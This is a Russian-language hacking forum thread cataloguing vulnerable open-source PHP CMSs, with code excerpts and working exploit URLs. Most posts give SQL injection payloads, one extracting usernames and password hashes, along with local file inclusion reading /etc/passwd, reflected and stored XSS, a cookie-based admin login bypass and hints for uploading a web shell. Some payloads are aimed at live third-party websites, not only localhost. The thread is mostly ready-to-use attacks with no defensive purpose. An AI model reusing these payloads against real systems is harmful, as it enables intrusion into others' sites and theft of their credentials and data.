Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Дабы не копировать по 5 раз. Лучше дам просто ссылку на пост, надеюсь так можно. Там 1 движок News Edit, а второй что-то похожее на движек, просто компания делает сайты все как один, потому это тоже можно назвать движком :)
    http://forum.antichat.ru/threadedpost1839460.html#post1839460
     
    #301 v1d0qz, 20 Jan 2010
    Last edited: 23 Jan 2010
  2. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    cms awcm v2_1 final
    http://sourceforge.net/projects/awcm/

    header.php
    PHP:
    if(isset($_GET['id'])) {
    $gid $_GET['id'];
    if(!
    is_numeric($gid) OR $gid == "") { exit; }
    }
    if(isset(
    $_GET['pm'])) {
    $gpm $_GET['pm'];
    if(
    eregi("'",$gpm) OR eregi("SELECT",$gpm) OR eregi("union",$gpm) OR eregi("delete",$gpm) OR eregi("table",$gpm) OR eregi("member",$gpm) OR eregi("update",$gpm) OR eregi('admin',$gpm) OR $gpm == "") { exit; }
    }
    if(isset(
    $_GET['search'])) {
    $gsearch $_GET['search'];
    if(
    eregi("'",$gsearch)) { exit; }
    }

    ....

    if(isset(
    $_COOKIE['awcm_theme'])) {
        
    $theme_file $_COOKIE['awcm_theme'];
    } else {
        
    $theme_file $mysql_maininfo_row['defult_theme'];
    }

    if(isset(
    $_COOKIE['awcm_lang'])) {
        
    $lang_file $_COOKIE['awcm_lang'];
    } else {
        
    $lang_file $mysql_maininfo_row['defult_language'];
    }
    @include (
    "themes/$theme_file/settings.php");
    include (
    "common.php");

    @include (
    "languages/$lang_file");

    $member_cok $_COOKIE['awcm_member']-197;
    if(isset(
    $_SESSION['awcm_member'])) {
        
    $member $_SESSION['awcm_member'];
    } elseif (isset(
    $_COOKIE['awcm_member'])) {
        
    $mysql_checkdookie51_member_query mysql_query("SELECT password,id FROM awcm_members WHERE id = '$member_cok'");
        
    $mysql_checkdookie51_member_row   mysql_fetch_array($mysql_checkdookie51_member_query);
        
    $mysql_checkdookie51_member_total mysql_num_rows($mysql_checkdookie51_member_query);
        if (
    $mysql_checkdookie51_member_total 0) {
            
    $member $mysql_checkdookie51_member_row['id'];
            
    $_SESSION['awcm_member'] = $mysql_checkdookie51_member_row['id'];
        }
    } else {
        
    $member 'no';
    }
    LFI
    mq=off
    http://localhost/awcm/header.php
    cookies
    awcm_theme=../../../../../../../../etc/passwd%00

    LFI
    http://localhost/awcm/header.php
    cookies
    awcm_lang=../../../../../../../../etc/passwd

    Заходим админом
    http://localhost/awcm/index.php
    cookies
    awcm_member=198

    -----------------------
    include/avatar.php
    PHP:
    include ("../connect.php");
    $gh $_GET['h'];
    $gw $_GET['w'];
    $gid $_GET['id'];
    $mysql_query mysql_query("SELECT id,avatar FROM awcm_members WHERE id = '$gid'");
    $mysql_total mysql_num_rows($mysql_query);
    $mysql_row   mysql_fetch_array($mysql_query);

    if(
    $mysql_total == 1) {
        if(
    $mysql_row['avatar'] == "") {
        print 
    '<img src="../images/no_avatar.jpg"  height="'.$gh.'" width="'.$gw.'" />';
        } else {
        print 
    '<img src="'.$mysql_row['avatar'].'" height="'.$gh.'" width="'.$gw.'" />';
        }
    } else {
        print 
    '<img src="../images/no_avatar.jpg"  height="'.$gh.'" width="'.$gw.'" />';
    }
    Passive XSS
    mq=off
    http://localhost/awcm/includes/avatar.php?h=1>"><SCRiPt>alert(1212);</SCRiPt>
    http://localhost/awcm/includes/avatar.php?w=1>"><SCRiPt>alert(1212);</SCRiPt>

    SQL
    mq=off
    http://localhost/awcm/includes/avatar.php?id=1'+and+1=2+union+select+1,version()+--+

    -----------------------
    includes/show_vid_title.php
    PHP:
    include ("../connect.php");
    $gid $_GET['id'];
    $mysql_show_vid_title_php_query mysql_query("SELECT id,title FROM awcm_videos_videos WHERE id = '$gid'");
    $mysql_show_vid_title_php_row   mysql_fetch_array($mysql_show_vid_title_php_query);

    print 
    $mysql_show_vid_title_php_row['title'];
    SQL
    mq=off
    http://localhost/awcm/includes/show_vid_title.php?id=-1'+union+select+1,version()+--+

    ===============
    RulleR
    можно
    member_cp_pm.php
    PHP:
    include ("header.php");
    ...
    if(isset(
    $_GET['pm'])) {
    $mysql_mmbrcppmviewpmpg_query mysql_query("SELECT * FROM awcm_member_pms WHERE hash = '$_GET[pm]' AND reciever = '$member' OR hash = '$_GET[pm]' AND sender = '$member'");
    SQL
    mq=off
    http://localhost/awcm/member_cp_pm.php?pm=%00'+union+select+1,2,3,version(),5,6,7;+--+
     
    #302 nikp, 21 Jan 2010
    Last edited: 21 Jan 2010
    3 people like this.
  3. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    SmartyCMS
    http://sunet.dl.sourceforge.net/project/smartycms/smartycms/0.9.4 build 334/smartycms-0.9.4-334.zip

    Passive XSS
    http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&cmsUserRole=1>'><script>alert(121212);</script>

    ----------------

    js/tiny_mce/plugins/ibrowser/scripts/loadmsg.php
    PHP:
    $l = (isset($_REQUEST['lang']) ? new PLUG_Lang($_REQUEST['lang']) : new PLUG_Lang($cfg['lang']));
    $l->setBlock('ibrowser');
    js/tiny_mce/plugins/ibrowser/langs/lang.class.php
    PHP:
    function setBlock$value ) {
    $this -> block $value;

    function 
    getLang() {
    $this -> lang $value;

    function 
    loadData() {
    global 
    $cfg;
    include( 
    dirname(__FILE__) . '/' $this -> lang.'.php' );
    LFI
    mq=off
    http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=../../../../../../../../../../boot.ini%00
    аналогично
    http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=../../../../../../../../../../boot.ini%00
    http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=../../../../../../../../../../boot.ini%00

    ----------------

    config/smartycms.config.php
    PHP:
    // url request param name for template call
    $smartycms['config']['PageCallParamName'] = 'page';
    libraries/smarty-cms/Smarty_cms.php
    PHP:
            // read default template name from given url param
            
    if (!$resource_name && !empty($smartycms['config']['PageCallParamName']))
              if ( !empty(
    $_REQUEST[$smartycms['config']['PageCallParamName']]) )
              {
                
    $page $_REQUEST[$smartycms['config']['PageCallParamName']];
                
    $ext  strrchr($page'.'); 

                if(
    $ext !== false$resource_name substr($page0, -strlen($ext)); else $resource_name $page;
                
                
    $resource_name .= '.'.$smartycms['config']['TemplateFileExtension'];
              }
    libraries/smarty/Smarty.class.php
    PHP:
            if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
                if (
    $this->_is_compiled($resource_name$_smarty_compile_path)
                        || 
    $this->_compile_resource($resource_name$_smarty_compile_path))
                {
                    include(
    $_smarty_compile_path);
                }
    LFI
    mq=off
    http://localhost/smartycms-0.9.4-334/index.php?page=/boot.ini%00.html

    ----------------
    templates/handler/book_content_handler.php
    PHP:
      function book_content_handler($params, &$smarty)
      {
        global 
    $smartycms;
        
    // create individual chapter id
        
    if (!$_GET['chapterid'] || $_GET['chapterid']=="1"$chapterid=time(); else $chapterid=$_GET['chapterid'];
        
        
    // send content to template
        
    $smarty->assign("chapterid",$chapterid);
        
    $smarty->assign("book_chapter_id","book_chapter_".$chapterid);
        
    $smarty->assign("book_content_id","book_content_".$chapterid);
      }
    templates/tutorial.tpl
    PHP:
    {* Tutorial content block *}
    {include 
    file="modules/book_content.tpl" pid="smartycms_tutorial"}<br>
    templates/modules/book_content.tpl
    PHP:
    {if $smarty.request.chapterid}
    <
    a name="start"></a>
    <
    div class="cms_book_headline">{cms id="$book_chapter_idtheme="singleline" pid=$pid title="edit chapter headline"}Please insert here the chapter headline{/cms}</div><br>
    {
    cms id="$book_content_idpid=$pid title="edit chapter content" height="250" smartytags="0"}<div class="cms_book_bodytext">Please insert here the chapter content</div>{/cms}<br><br>
    {/if}
    view source
    http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&chapterid=../../../../../../../../../../boot.ini
    http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&chapterid=../../../../../index.php
     
    5 people like this.
  4. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    cms sabros.us
    http://sourceforge.net/projects/sabrosus/files/latest

    pXSS
    http://localhost/sabrosus/index.php?busqueda=1<ScRiPt >alert(1212);</ScRiPt>
    http://localhost/sabrosus/index.php?tag=1>"><ScRiPt>alert(1212);</ScRiPt>

    ------------

    atom.php
    PHP:
    if (isset($_GET["tag"])) {
        
    $navegador strtolower$_SERVER['HTTP_USER_AGENT'] );
        if (
    stristr($navegador"opera") || stristr($navegador"msie")) {
            
    $tagtag utf8_decode($_GET["tag"]);
        } else {
            
    $tagtag $_GET["tag"];
        }
    }

    $sqlStr "SELECT DISTINCT link.* FROM ".$prefix."sabrosus as link, ".$prefix."tags as tag, ".$prefix."linktags as rel WHERE";

    if(isset(
    $tagtag)){
        
    $sqlStr .= " (tag.tag LIKE '$tagtag') AND ";
    }

    $sqlStr .= " (tag.id = rel.tag_id AND rel.link_id = link.id_enlace) AND link.privado = 0 ORDER BY link.fecha DESC";

    if(isset(
    $cuantos)){
        if(
    $cuantos!='todos' && is_numeric($cuantos)){
            
    $sqlStr .= " LIMIT $cuantos";
        }
        if(
    $cuantos!='todos' && !is_numeric($cuantos)){
            
    $sqlStr .= " LIMIT 10";
        }
    } else {
        
    $sqlStr .= " LIMIT 10";
    }
    $result mysql_query($sqlStr,$link);
    SQL
    mq=off
    http://localhost/sabrosus/atom.php?tag=')+union+select+1,version(),3,4,5,6+--+
    User-Agent=111
     
    2 people like this.
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    733
    Likes Received:
    646
    Reputations:
    251
    Croogo 1.2
    (Геморная маленько)
    Пассивная XSS
    /admin/filemanager/browse?path=%22%3E%3Cscript%3Ealert();%3C/script%3E
    Сработает на админе если он авторизированный.

    ps
    Залить шелл легко (Права админа нужны)
    /admin/attachments
    Там я думаю догадаетесь.
     
    #305 Ctacok, 3 Feb 2010
    Last edited: 3 Feb 2010
    1 person likes this.
  6. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    Imer - Site Manager 3.5.0
    sourceforge.net/projects/ism-imersiteman/

    path disclosure
    http://localhost/imer/help/admin_common.php

    --------------

    divcliente.php
    PHP:
    require_once './conecta.php';
    require_once 
    './suporte.php';
    require_once 
    './arrays.php';
    if (
    $oplcat == '2'){
        if (
    $ople == 'E'){
            
    $pg_usuario mysql_query("SELECT * FROM swb_usuarios WHERE ID = $idl LIMIT 1");
    SQL
    rg=on
    http://localhost/imer/divcliente.php?oplcat=2&ople=E&idl=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,version(),34,35,36,37,38,39,40,41,42,43+--+
    http://www.trudelmer.com.br/imer/divcliente.php?oplcat=2&ople=E&idl=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,version(),34,35,36,37,38,39,40,41,42,43+--+

    --------------

    noticia.php
    PHP:
    $pg_noticias mysql_query("SELECT * FROM swb_noticias WHERE status = 'A' AND ID = $idl LIMIT 1");
    SQL
    rg=on
    http://localhost/imer/noticia.php?conf_empresa=2&user=1&idl=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--
    http://www.trudelmer.com.br/imer/noticia.php?conf_empresa=2&user=1&idl=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--

    --------------

    divhelp.php
    PHP:
    require_once './conecta.php';
    require_once 
    './suporte.php';
    require_once 
    './arrays.php';
    if (
    $oplhlp == 'Y' || $oplhlp == 'N' || $oplhlp == 'R' || $oplhlp == 'L'){
        if (
    $ople == 'E'){
            
    $pg_userhelp mysql_query("SELECT * FROM livehelp_users WHERE username = '$login' LIMIT 1");
    SQL
    rg=on
    mq=off
    http://localhost/imer/divhelp.php?oplhlp=Y&ople=E&&login=hhhh'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,version(),31,32,33,34,35,36,37,38,39,40+limit+1+--+
     
    3 people like this.
  7. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    103
    Likes Received:
    54
    Reputations:
    7
    PHP - STATS
    текущая версия 0.1.9.2
    сайт: php-stats.com
    фаил : downloads.php
    условия magic_quotes_gpc = off
    уязвимый код :

    PHP:
    $result=sql_query("SELECT nome,descrizione,type,home,size,downloads,withinterface FROM $option[prefix]_downloads WHERE id='$id'");
    ..............................................................................................................
    if((
    $mode!='download' && $downloads_withinterface=='YES') || $errorDownload===true)
        {
             .......................................... 
                      else {
    а вот собственно тут уже и имеем вывод на экран}
       { 

    использование :
    Code:
    http://localhost/php-stats/download.php?mode=downloadd&id=999999'+union+select+1,2,2,3,4,5,"YES"+from+information_schema.tables%23
    Пример для сайта производителей:
    Code:
    http://php-stats.com/stat/download.php?mode=downloadd&id=999999'+union+select+1,version(),2,3,4,5,"YES"%23
    
    P.S 6й столбец должен быть обезательно задан как "YES" иначе не будет вывода
     
    5 people like this.
  8. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    GAzie - Gestione Aziendale v4.0.13
    http://sourceforge.net/projects/gazie/

    Finance application written in PHP using a MySql database backend for small to medium enterprise.
    It lets you write invoices, manage stock, manage orders , accounting, etc.
    Send tax receipt to electronic cash register.

    pXSS
    http://localhost/gazie/modules/root/login_admin.php
    post
    Login=1>'><script>alert(1212)</script>
    Password=111111
    actionflag=Login

    ----------------

    modules/root/login_admin.php
    PHP:
    if (isset ($_POST['actionflag'])) {
        
    // checkUser();
        
    $result gaz_dbi_get_row ($gTables['admin'], "Login"$_POST['Login']);
        if (!empty (
    $result['lang'])){
              
    $lang $result['lang'];
        } else {
              
    $lang 'italian';
        }
        require(
    "./lang.".$lang.".php");
    library/include/mysql.lib.php
    PHP:
    function gaz_dbi_get_row$table$fnm$fval)
    {
        global 
    $link;
        
    $result mysql_query("SELECT * FROM $table WHERE $fnm = '$fval'"$link);
        if (!
    $result) die (" Error gaz_dbi_get_row: ".mysql_error());
        return 
    mysql_fetch_array$result);
    }
    SQL+LFI
    mq=off
    http://localhost/gazie/modules/root/login_admin.php
    post
    Login=111'+union+select+1,2,3,"../../../../../../../../../../boot.ini%00",5,6,7,8,9,10,11,12,13+--+
    Password=111111
    actionflag=Login
     
    2 people like this.
  9. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    Andy's PHP Knowledgebase v0.94.2
    http://aphpkb.org/


    forgot_password.php
    PHP:
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    <p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /></p>
    pXSS
    http://localhost/aphpkb/forgot_password.php
    post username=1>"><script%20%0a%0d>alert(121212)%3B</script>

    -------------------------------------------------------------

    keysearch.php
    PHP:
    if($_REQUEST['keyword_list']){
                
    $keyword_list escdata($_REQUEST['keyword_list']); 
        } else { 
            
    $keyword_list 'nothing'
        }
    ...
        
    // If it's not the first page, make a Previous button.
        
    if ($current_page != 1) {
            echo 
    '<a href="keysearch.php?keyword_list=' $keyword_list '&s=' . ($start $display) . '&np=' $num_pages '">Previous</a> ';
        }
        
        
    // Make all the numbered pages.
        
    for ($i 1$i <= $num_pages$i++) {
            if (
    $i != $current_page) {
                echo 
    '<a href="keysearch.php?keyword_list=' $keyword_list '&s=' . (($display * ($i 1))) . '&np=' $num_pages '">' $i '</a> ';
            } else {
                echo 
    $i ' ';
            }
        }
        
    // If it's not the last page, make a Next button.
        
    if ($current_page != $num_pages) {
            echo 
    '<a href="keysearch.php?keyword_list=' $keyword_list '&s=' . ($start $display) . '&np=' $num_pages '">Next</a>';
        }
    pXSS
    http://localhost/aphpkb/keysearch.php
    post keyword_list=1<script>alert(121212)</script>

    -------------------------------------------------------------

    login.php
    PHP:
    <p>User Name:<br /><input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /></p>
    pXSS
    http://localhost/aphpkb/login.php
    post username=1>"><script%20%0a%0d>alert(121212)%3B</script>

    -------------------------------------------------------------

    q.php
    PHP:
        $articledatae escdata(xss_clean($_POST['article']) );    
    ...

    $articledata stripslashes($articledatae);

    echo 
    '<p>Article Details</p>';

    echo 
    "<p>Question:<br />$articledata</p>";
    pXSS
    http://localhost/aphpkb/q.php
    post article=1<div+style+STYLE="width:expression(alert(121212))%3B">&aid=111&submit=Submit%20Question

    -------------------------------------------------------------

    register.php
    PHP:
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    <p>First Name:<br /> <input type="text" name="first_name" size="15" maxlength="15" value="<?php if (isset($_POST['first_name'])) echo $_POST['first_name']; ?>" /></p>
    <p>Last Name:<br /> <input type="text" name="last_name" size="30" maxlength="30" value="<?php if (isset($_POST['last_name'])) echo $_POST['last_name']; ?>" /></p>
    <p>Email Address:<br /> <input type="text" name="email" size="40" maxlength="40" value="<?php if (isset($_POST['email'])) echo $_POST['email']; ?>" /> </p>
    <p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /> <small>Use only letters, numbers, and the underscore. Must be between 4 and 20 characters long.</small></p>
    pXSS
    http://localhost/aphpkb/register.php
    post first_name=1>"><script%20%0a%0d>alert(121212)%3B</script
    post last_name=1>"><script%20%0a%0d>alert(121212)%3B</script>
    post email=1>"><script%20%0a%0d>alert(121212)%3B</script>
    post username=1>"><script%20%0a%0d>alert(121212)%3B</script>

    -------------------------------------------------------------

    saa.php
    PHP:
    $articledatae escdata(xss_clean($_POST['article']) );    
    ...
    $articledata stripslashes($articledatae);

    echo 
    '<p>Article Details</p>';
    if(
    $titlee) { echo "<p>Title:  $titlee</p>"; }
    echo 
    "<p>Article:<br />$articledata</p>";
    pXSS
    http://localhost/aphpkb/saa.php
    post article=1<div+style="width:expression(alert(121212))%3B">
     
    4 people like this.
  10. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    Angora Guestbook v1.2.1
    http://sourceforge.net/projects/aguestbook/

    index.php
    PHP:
    // Language settings
    $langName secureVar($_GET['l'], 'html');

    if (! empty(
    $langName))
        
    $_SESSION['langName'] = $langName;

    if (empty(
    $_SESSION['langName']))
        
    $langName $config['guestbookLang'];
    else
        
    $langName $_SESSION['langName'];

    @include_once 
    "languages/" $langName "/frontend.php";
    classes/functions.php
    PHP:
    function secureVar($var$type) {
        global 
    $con;
        switch (
    $type) {
            case 
    'sql' :
                if (
    get_magic_quotes_gpc())
                    
    $var stripslashes($var);
                if (
    function_exists("mysql_real_escape_string"))
                    
    $var mysql_real_escape_string($var);
                else
                    
    $var addslashes($var);
                break;
            case 
    'html' :
                
    $var htmlspecialchars($varENT_QUOTES);
                break;
            default :
                if (
    get_magic_quotes_gpc())
                    
    $var stripslashes($var);
                if (
    function_exists("mysql_real_escape_string"))
                    
    $var mysql_real_escape_string($var);
                else
                    
    $var addslashes($var);
        }
        return 
    $var;
    }
    LFI
    mq=off
    http://localhost/angora_1_2_1/guestbook/index.php?l=../../../../../../../../boot.ini%00

    ------------------------

    admin/includes/content/phpinfo.php
    PHP:
    if (@$magic != "0xDEADBEEF")
        die(
    "This file cannot be executed directly");
        
        if (
    base64_decode($_SESSION['privilege']) != 1) {
            
    $error = new Error($lang['noPermission']);
            die(
    $error->showError());
        }
        
        
    ob_start();
        
    phpinfo();
    phpinfo
    http://localhost/angora_1_2_1/guestbook/admin/includes/content/phpinfo.php?magic=0xDEADBEEF&_SESSION[privilege]=MQ==
     
    2 people like this.
  11. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    194
    Likes Received:
    195
    Reputations:
    91
    Продукт: mycroCMS
    Сайт: http://sourceforge.net/projects/mycrocms/
    Path diclosing
    Code:
    [b]http://localhost/mycrocms/?entry_id='[/b]
    LFI

    Участок кода в /admin/admin.php:
    PHP:
    if ($admin=="error"){
        include (
    "error.php");
    }elseif (
    $userManager->isLoggedIn()) {
        if (
    $admin == "") {
            include (
    "dashboard.php");
        } else {
            if (
    file_exists("admin/$admin.php")) {
                include (
    "admin/$admin.php");
            } else {
                die(
    "File admin/$admin.php does not exist!");
            }
        }
        
    $userManager->setLastTime(time());
    } else {
        
            if (
    $admin == "") {
                include (
    "dashboard.php");
            } else {
                if (
    file_exists("admin/$admin.php")) {
                    include (
    "admin/$admin.php");

                } else {
                    die(
    "File admin/$admin.php does not exist!");
                }
            }
            
    $userManager->setLastTime(time());
        
        
        
    }
    Отсюда инклуд. Эксплуатация:
    Code:
    [b]
    http://localhost/mycrocms/?admin=../../../../../../etc/passwd%00
    [/b]
    (права админа не нужны)
    SQL-Injection

    magiq_quotes=Off
    Смотрим в \include\Categories.php:
    PHP:
    function get_category_by_id($id) {
        global 
    $sql$categories;

        
    // use array if preloaded
        
    if (is_array($categories)) {
            
    $res array_search_recursive('category_id'$id$categories);

        }

        if (!
    is_array($res[0])) {

            
    $res $sql->read('categories''category_id'$id);
        }
        return 
    $res[0];
    }
    Теперь ищем метод read в классе sql. Весь код кидать не буду, но фильтрации там нет.
    PHP:
            $sql "SELECT * FROM `$tablep` " $where $order $limit;

            
    $result mysql_query($sql);
    Пример эксплуатации:
    Code:
    [b]
    http://localhost/mycrocms/?cat_id=1'+and+row(1,1)%3E(select+count(*),concat(version(),0x3a,floor(rand()*2))
    
    +x+from+mysql.user+group+by+x+limit+1)+and+'a'='a
    [/b]
    Code Execution

    Заливка шелла в админке. Идём в меню Plugins, там есть стандартный плагин second для редактирования шаблонов (а на деле - любых

    файлов). Активируем его, затем идём на http://localhost/mycrocms/?plugin=second&page=themes и редактируем любой файл.
     
    8 people like this.
  12. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    Pyrophobia CMS
    Product : http://sourceforge.net/projects/pyrophobia/
    Version : Pyrophobia CMS 2.1.3.1

    Active XSS
    1. Forum -- заходим в форум -- отправляем сообщение с текстом ( "><script>alert("xss");</script> )
    2. PM -- Send User a PM -- отправляем текст ( '"/><script>alert("xss");</script> )

    SQL injection

    MySQL Version : 5.0.45 ---
    Code:
    http://localhost/[version]/?act=downloads/browsecategory&cat=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
    Code:
    http://localhost/[version]/index.php?act=UCP&CODE=02&mssg=3'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
    На данном движке их много :(

    LFI
    milw0rm
     
    9 people like this.
  13. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    BrewBlogger v2.3.1
    http://www.brewblogger.net/

    patch disclosure
    http://localhost/brewblogger/includes/plug-ins.inc.php

    ----------------------

    index.php
    PHP:
    //image dir / SQL information and connect to MySQL server
    require_once ('Connections/config.php'); 

    //choose SQL table and set up functions to user authentication and
    //navbar configuration for login/logout links
    require ('includes/authentication_nav.inc.php');  session_start();

    includes\authentication_nav.inc.php
    $query_user 
    sprintf("SELECT * FROM users WHERE user_name = '%s'"$loginUsername);
    $user mysql_query($query_user$brewing) or die(mysql_error());
    $row_user mysql_fetch_assoc($user);
    $totalRows_user mysql_num_rows($user);
    Blind SQL
    mq=off
    http://localhost/brewblogger/index.php?loginUsername='+UNION+SELECT+(select+*+from(select+*+from(select+name_const((version()),1)d)+as+t+join+(select+name_const((version()),1)e)b)a)+--+

    -----------------------

    includes/db_connect_log.inc.php
    PHP:
    /* set pagination variables */
    if ($view == "limited"$display 25;
    elseif (
    $view == "all"$display 9999999;
    $pg = (isset($_REQUEST['pg']) && ctype_digit($_REQUEST['pg'])) ?  $_REQUEST['pg'] : 1;
    $start $display $pg $display;

    if ((
    $row_pref['mode'] == "1") || (($row_pref['mode'] == "2") && ($filter == "all"))) {
    mysql_select_db($database_brewing$brewing);
    $query_result "SELECT count(*) FROM brewing";
    if (
    $style != "all"$query_result .= " WHERE brewStyle='$style' AND"; else $query_result .= " WHERE";
    $query_result .= " NOT brewArchive='Y'";
    $result mysql_query($query_result$brewing) or die(mysql_error());
    $total mysql_result($result0);

    $query_log "SELECT * FROM brewing";
    if (
    $style != "all"$query_log .= " WHERE brewStyle='$style' AND"; else $query_log .= " WHERE";
    $query_log .= " NOT brewArchive='Y'";
    $query_log .= " ORDER BY $sort $dir LIMIT $start$display";
    $sort слешируется ранее,
    PHP:
    includes/url_variables.inc.php
    $sort 
    "brewDate";
    if (isset(
    $_GET['sort'])) {
      
    $sort = (get_magic_quotes_gpc()) ? $_GET['sort'] : addslashes($_GET['sort']);
    }
    $display никак не фильтруется. Хочется получить limit union select но мешает order by, поэтому только

    Blind SQL
    http://localhost/brewblogger/index.php?page=brewBlogList&&sort=(select+*+from(select+*+from(select+name_const((version()),1)d)+as+t+join+(select+name_const((version()),1)e)b)a)

    ----------------------

    sections.entry.inc.php
    PHP:
    $dbTable "brewing";
    if (isset(
    $_GET['dbTable'])) {
      
    $dbTable = (get_magic_quotes_gpc()) ? $_GET['dbTable'] : addslashes($_GET['dbTable']);
    }

    if (
    $action == "default") {
        
    $style "default";
            if (isset(
    $_GET['style'])) {
              
    $style = (get_magic_quotes_gpc()) ? $_GET['style'] : addslashes($_GET['style']);
            }
        } 
    else 
    $style $_POST['style'];
    if ((
    $action == "verify") || ($action == "print")) { 
    $name $_POST['name'];
    $address $_POST['address'];
    $city $_POST['city'];
    $state $_POST['state'];
    $zip $_POST['zip'];
    $homePhone $_POST['homePhone'];
    $workPhone $_POST['workPhone'];
    $email $_POST['email'];
    $brewClub $_POST['brewClub'];
    $brewName $_POST['brewName'];
    $still $_POST['still'];
    $dry $_POST['dry'];
    $hydromel $_POST['hydromel'];
    $petillant $_POST['petillant'];
    $semi $_POST['semi'];
    $standard $_POST['standard'];
    $sweet $_POST['sweet'];
    $sparkling $_POST['sparkling'];
    $sack $_POST['sack'];
    $special $_POST['special'];
    $waterTreatment $_POST['waterTreatment'];
    $yeastLiquid $_POST['yeastLiquid'];
    $yeastDried $_POST['yeastDried'];
    $starter $_POST['starter'];
    $yeastNutrients $_POST['yeastNutrients'];
    $carbonation $_POST['carbonation'];
    $volumeC02 $_POST['volumeC02'];
    $primingSugar $_POST['primingSugar'];
    $bottlingDate $_POST['bottlingDate'];
    $finingsType $_POST['finingsType'];
    $finingsAmount $_POST['finingsAmount'];
    }

    mysql_select_db($database_brewing$brewing);
    $query_log sprintf("SELECT * FROM $dbTable WHERE id = '%s'"$id);
    $log mysql_query($query_log$brewing) or die(mysql_error());
    $row_log mysql_fetch_assoc($log);
    $totalRows_log mysql_num_rows($log);

    $query_style1 sprintf("SELECT * FROM styles WHERE brewStyle = '%s'"$style);
    SQL
    mq=off
    http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=default
    post
    style=-1' union select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,unhex(hex(concat_ws(0x3a,user_name,password))) from users --


    pXSS
    для полей

    name
    address
    city
    state
    zip
    homePhone
    workPhone
    email
    brewClub
    brewName
    still
    dry
    hydromel
    petillant
    semi
    standard
    sweet
    sparkling
    sack
    special
    waterTreatment
    yeastLiquid
    yeastDried
    starter
    yeastNutrients
    carbonation
    volumeC02
    primingSugar
    bottlingDate
    finingsType
    finingsAmount

    по типу
    http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=default
    post
    city=<script>alert(121212)</script>
     
    #313 nikp, 10 Feb 2010
    Last edited: 10 Feb 2010
    2 people like this.
  14. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    php-addressbook v5.4.6 - r276
    http://sourceforge.net/projects/php-addressbook/

    group.php
    PHP:
      echo "<div class='msgbox'>Users added.<br /><i>Go to <a href='./?group=$group_name'>group page \"$group_name\"</a>.</i></div>";
    ...
      <form accept-charset="utf-8" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
    pXSS
    http://localhost/addressbookv5.4.6/index.php?group=1<script>alert(121212)</script>
    pXSS
    mq=off
    http://localhost/addressbookv5.4.6/group.php/>"><script>alert(121212)</script>

    ---------------------

    include/dbconnect.php
    PHP:
    $get_vars = array( 'id' );

    foreach(
    $get_vars as $get_var) {
       if(isset(
    $_GET[$get_var])) {
         ${
    $get_var} = intval($_GET[$get_var]);
       } elseif(isset(
    $_POST[$get_var])) {
         ${
    $get_var} = intval($_POST[$get_var]);
       } else {
         ${
    $get_var} = null;
       }      
    }
    echo 
    $id"<br />";

    // Copy only used variables into global space.
    $get_vars = array( 'searchstring''alphabet''group''resultnumber'
                     
    'submit''update''delete'
